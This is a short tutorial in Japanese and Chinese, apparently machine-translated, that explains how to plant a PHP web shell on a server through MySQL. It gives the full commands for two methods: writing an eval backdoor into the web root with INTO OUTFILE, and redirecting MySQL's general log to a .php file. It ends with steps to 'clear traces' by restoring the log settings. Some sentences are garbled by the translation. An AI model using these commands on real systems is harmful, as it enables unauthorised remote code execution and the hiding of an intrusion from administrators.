記事のディレクトリ
1つは、outfileに直接書き込むことを選択します
1.使用条件
- 一重引用符(ルート)を使用できるようにするには、Webディレクトリの書き込み権限が必要です。
- ウェブサイトの絶対パスを知る(phpinfo / phpプローブ/エラーの報告など)
- secure_file_privには特定の値はありません
2.secure_file_priv値を表示します
show global variables like '%secure%';
secure_file_priv構成の概要について:
secure_file_privは、load dumpfile、outfile、およびload_file()関数がファイルをアップロードまたは読み取る権限を持つディレクトリを制限するために使用されます。
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
secure_file_privの値は読み取り専用変数であり、構成ファイルを介してのみ変更できます。管理者が構成しない場合、自分でテストしているため、シェルに書き込むことができず、直接構成できます。
これは、MySQL構成ファイルmy.iniで構成されています。
3.文章を書く
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
这里注意路径分隔符要用"\\"
a.phpがWebサイトのルートディレクトリに生成されているかどうか、およびコンテンツが文であるかどうかを確認します。
2つ目は、グローバルログを使用してシェルに書き込むことです。
1.構成を表示する
mysqlのログステータスを確認します。このログの量が非常に多く、リソースのオーバーヘッドが比較的大きいため、デフォルトでは無効になっています。本番環境ではこの機能を有効にしないでください。
show variables like '%general%';
2.general_logモードをオンにします
general_logをオンにする機能:ユーザーが入力したすべてのコマンドを記録しD:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.log
、ファイルに保存するためにオンにします。これは、ログファイルの
使用についてよく言われることです。general_logをオンにした後、general_log_fileの値を変更します。特定のカスタムphpファイルでWebサイトのデフォルトのパスに移動し、ログログにTrojanという単語を書き込んで、さらに使用します。
ここでの注意:ログパスを変更する前に、ソースパスを事前に記録し、シェルを取得した後に元のパスを復元する必要があります。
set global general_log = on;
3.ログディレクトリをシェルアドレスに変更します
set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\hp.php';
4.シェルに書き込みます
ロギング機能がオンになっているため、実行されたSQLステートメントがログに記録されます。
select '<?php eval($_POST[cmd]);?>'
5.トレースを消去します
set global general_log_file='D:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.log'; // 恢复原log文件路径
set global general_log = off; // 关闭全局日志